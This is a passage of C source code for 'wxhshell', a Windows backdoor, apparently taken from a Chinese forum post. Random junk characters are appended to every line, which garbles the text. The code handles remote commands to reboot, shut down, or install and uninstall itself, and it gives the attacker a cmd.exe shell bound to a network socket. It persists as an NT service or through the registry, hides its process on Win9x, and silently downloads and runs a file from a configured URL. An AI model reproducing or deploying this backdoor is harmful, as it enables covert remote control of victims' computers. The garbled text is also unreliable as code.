  // 帮助 @."o:K  
  case '?': { $vLV< y07  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k2uiu  
    break; J4}\V$ysN  
  } ?66(t  
  // 安装 -k <9v.:  
  case 'i': { SO<m(o)G2  
    if(Install()) uK:-g,;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5KwYoN  
    else uvDoo6'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v7(|K  
    break; M6'C3,y0  
    } ewrWSffe  
  // 卸载 9I\3T6&tr  
  case 'r': { bez'[Y{  
    if(Uninstall()) Dum`o^l#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !e'0jf-~  
    else (bx\4Ws  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +z=%89GJ  
    break; ;hA7<loY  
    } r^A#[-VyNP  
  // 显示 wxhshell 所在路径 =/g$bZ  
  case 'p': { MpA;cw]cI/  
    char svExeFile[MAX_PATH]; As+;qNO  
    strcpy(svExeFile,"\n\r"); 8F^,8kIR  
      strcat(svExeFile,ExeFile); vA;F]epr!  
        send(wsh,svExeFile,strlen(svExeFile),0); ,![Du::1  
    break; zZ9<4"CIk  
    } k9) u 3  
  // 重启 G|-\T(&J  
  case 'b': { %i&/$0.8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vV.~76AD5  
    if(Boot(REBOOT)) 5eOj, [?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'xbERu(Y  
    else { c',:@2R  
    closesocket(wsh); P-+M,>vNy[  
    ExitThread(0); $% Ci8p  
    } t @(9ga(  
    break; xIQ/$[&v  
    } 7w Q+giu  
  // 关机 >7nV$.5S  
  case 'd': { $>r>0S#+\&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :4 j a@~  
    if(Boot(SHUTDOWN)) OK-sT7But  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JOrELrMx  
    else { #Pu@Wx  
    closesocket(wsh); rX33s  
    ExitThread(0); %o@['9U[j  
    } tL~,ZCQz  
    break; 7}ws |4Y  
    } v7;J%9=0D`  
  // 获取shell dG\U)WA(p  
  case 's': { Vvm=MBgN  
    CmdShell(wsh); [1b6#I"x  
    closesocket(wsh); ~h)@e\Kc  
    ExitThread(0); NoCDY2 $  
    break; .tRr?*V|l  
  } 7fju  
  // 退出 xF( bS+(o  
  case 'x': { ;)(Sdf[P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gA~20LSt  
    CloseIt(wsh); R_1)mPQ^P  
    break; ,3Wb4so  
    } 4\LZD{  
  // 离开 Ap5}5 ewM  
  case 'q': {  0]AN;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pOC% oj  
    closesocket(wsh); sm 's-gD  
    WSACleanup(); No`|m0 :j  
    exit(1); |K L')&"  
    break; gNShOu  
        } yND"bF9  
  } V0K16#}1gM  
  } 25 CZmsg  
 _e%dM  
  // 提示信息 KZ=u54  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8b|OXWl  
} Btj#EoSI_  
  } aaDP9FW9e  
%2f//SZ:  
  return; ^+ZgWS^%  
} '77~{jy  
dsJm>U)  
// shell模块句柄 U@G"`RYl  
int CmdShell(SOCKET sock) 1y J5l,q  
{ JVtQ ,oZ  
STARTUPINFO si; 6{q;1-8j+j  
ZeroMemory(&si,sizeof(si)); m9in1RI%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <5S@ORN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k<a;[_S  
PROCESS_INFORMATION ProcessInfo; .evbE O5  
char cmdline[]="cmd"; Ck\7F?S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RK[D_SmS  
  return 0; F^QQ0h]2  
} {~SaRB2<'  
E<>*(x/\e  
// 自身启动模式 >ys[I0bo  
int StartFromService(void) ! QM.P t7c  
{ j~;;l!({i  
typedef struct H~noJIw#  
{ OS-sk!  
  DWORD ExitStatus; ^W~p..DF  
  DWORD PebBaseAddress; &(EHq  
  DWORD AffinityMask; j[I`\"  
  DWORD BasePriority; b_TS<,  
  ULONG UniqueProcessId; 98R KCc9h  
  ULONG InheritedFromUniqueProcessId; ~@T<gA9V  
}   PROCESS_BASIC_INFORMATION; c.A Yx I"  
~vHk&r]|  
PROCNTQSIP NtQueryInformationProcess; F.tfgW(A@  
mpgO s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -(i(02PX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k|xtrW`qo;  
Y34/+Fi  
  HANDLE             hProcess; G O{ . 9_2  
  PROCESS_BASIC_INFORMATION pbi; *wuqa) q2  
!*aPEf270  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u:&o}[  
  if(NULL == hInst ) return 0; ~e `Bq>  
Kz jC/1sd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t 42ub  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9T7e\<8"vC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]5}=^  
8S]".  
  if (!NtQueryInformationProcess) return 0; (hB?  
"9IYB)Js  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (-0ePSOG  
  if(!hProcess) return 0; ZrO!L_/  
+x=)/;:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 33'Y[4  
"T2"]u<52  
  CloseHandle(hProcess); L[g0&b%%-  
*>NX%by)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PRkS Q4  
if(hProcess==NULL) return 0; b&#DnZcf  
MZV_5i@:  
HMODULE hMod; .1yT*+`  
char procName[255]; ?YQPlv:<o.  
unsigned long cbNeeded; a,|?5j9,P  
?m7:if+ y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); POAw M  
JTU#vq:TY  
  CloseHandle(hProcess); ~1 ~Xfo>  
{sVY`}p|  
if(strstr(procName,"services")) return 1; // 以服务启动 tz^/J=)"  
7y^%7U \  
  return 0; // 注册表启动 2f>PO +4S{  
} 6"/WZmOp  
_;1}x%4v  
// 主模块 <eN_1NTH_  
int StartWxhshell(LPSTR lpCmdLine) Bc7V)Y K  
{ C NsNZJ  
  SOCKET wsl; 5|QzU|gPn  
BOOL val=TRUE; NTo!'p:s  
  int port=0; fu[K".  
  struct sockaddr_in door;  =<}<Ny  
,Lpixnm]  
  if(wscfg.ws_autoins) Install(); N8toxRu  
TlZT1H  
port=atoi(lpCmdLine); =(v^5  
j;b42G~p  
if(port<=0) port=wscfg.ws_port; p;T{i._iL  
h!rM^  
  WSADATA data; +Y"r71|A6+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q  h/F  
}`(N:p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;0rGiWC#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'e)^m}:?D  
  door.sin_family = AF_INET; NLS"eD m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x5}'7,A  
  door.sin_port = htons(port); v+ 7kU=  
#:jb*d?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {\H/y c|@  
closesocket(wsl); 1CU>L[W)  
return 1; ~{hxR)x9  
} gTl<wo +  
az0<5 Bq)  
  if(listen(wsl,2) == INVALID_SOCKET) { }jH7iyjD  
closesocket(wsl); /1N6X.Zb  
return 1; uvDzKMw~R  
} &QRE"_g  
  Wxhshell(wsl); Q;11N7+  
  WSACleanup(); c 'uhK8|  
Hy.AyU|L  
return 0; ~Q {QM:k  
!oPq?lW9  
} N`iwC!  
PZxAH9 S?  
// 以NT服务方式启动 <+MyZM(z>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]i(-I <`  
{ 8Jf.ECQT  
DWORD   status = 0; 9. 'h^#C  
  DWORD   specificError = 0xfffffff; [(X y.L7x  
'c2W}$q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; De7T s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -9N@$+T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S/|,u`g-  
  serviceStatus.dwWin32ExitCode     = 0; :B3[:MpL}  
  serviceStatus.dwServiceSpecificExitCode = 0; j',W 64  
  serviceStatus.dwCheckPoint       = 0; k@zy  
  serviceStatus.dwWaitHint       = 0; *eI)Z=8  
[Wd-Zn%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]Chj T}  
  if (hServiceStatusHandle==0) return; `&\Q +W  
X%z }VA  
status = GetLastError(); ahx>q  
  if (status!=NO_ERROR) JB!:JML  
{ sn7AR88M;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |*Z$E$k:  
    serviceStatus.dwCheckPoint       = 0; Lg8nj< TF  
    serviceStatus.dwWaitHint       = 0; *I}`dC[  
    serviceStatus.dwWin32ExitCode     = status; 'iLpE7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4tL<q_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ wg:!VWA)  
    return; X%yO5c\l2  
  } ]7-&V-Ct*  
Qt_dEl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; coYij  
  serviceStatus.dwCheckPoint       = 0; :0Z^uuk`gq  
  serviceStatus.dwWaitHint       = 0; ?X@fKAj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n]8<DX99Q0  
} zJe#m|Z  
d%l{V6  
// 处理NT服务事件,比如:启动、停止 ),%6V5a+E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s4&^D<  
{ ~y=T5wt  
switch(fdwControl) Kw#so; e  
{ P[s8JDqu  
case SERVICE_CONTROL_STOP: +P.+_7+:  
  serviceStatus.dwWin32ExitCode = 0;  hi g2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [+O"<Ua  
  serviceStatus.dwCheckPoint   = 0; .<kqJ|SVi  
  serviceStatus.dwWaitHint     = 0; C9p"?vX  
  { THmb6^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y% :4b@<  
  } 2]%h$f+  
  return; Bl=tYp|a  
case SERVICE_CONTROL_PAUSE: 9UvXC)R1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eQQ>  
  break; ^CwR!I.D}4  
case SERVICE_CONTROL_CONTINUE: wAnb Di{W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !w&kyW?e  
  break; zYl#4O`=c  
case SERVICE_CONTROL_INTERROGATE: v4@Z(M  
  break;  }fp-5  
}; 3fN.bU9_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z7 E  
} ^>"z@$|\:  
qzb<J=FAU  
// 标准应用程序主函数 R8.CC1Ix  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K~ ;45Z2  
{ 1S@vGq}  
JxyB(  
// 获取操作系统版本 B]tIi^  
OsIsNt=GetOsVer(); 6e7{Iy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )7_"wD` z  
GR\5WypoJ  
  // 从命令行安装 DY[$"8Kxcp  
  if(strpbrk(lpCmdLine,"iI")) Install(); YM5fyv?  
y"Nsh>h  
  // 下载执行文件 a# c6[!   
if(wscfg.ws_downexe) { ^ns@O+Fk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eb*#'\~'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~o n(3|$  
} b(9FZ]7S  
>I=2!C1w  
if(!OsIsNt) { ZJlEKib%2  
// 如果时win9x,隐藏进程并且设置为注册表启动 z0/} !  
HideProc(); ^e+a  
StartWxhshell(lpCmdLine); fxgr`nC  
} mFHH515  
else EUIIr4]  
  if(StartFromService()) `"%T=w  
  // 以服务方式启动 4 B*0M  
  StartServiceCtrlDispatcher(DispatchTable); &w=3^  
else xLx]_R()  
  // 普通方式启动 !ti6  
  StartWxhshell(lpCmdLine); !0N7^Z"gtz  
37;$-cFE  
return 0; jM\*A#Jo5  
}
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只看该作者 1 发表于: 2006-10-10
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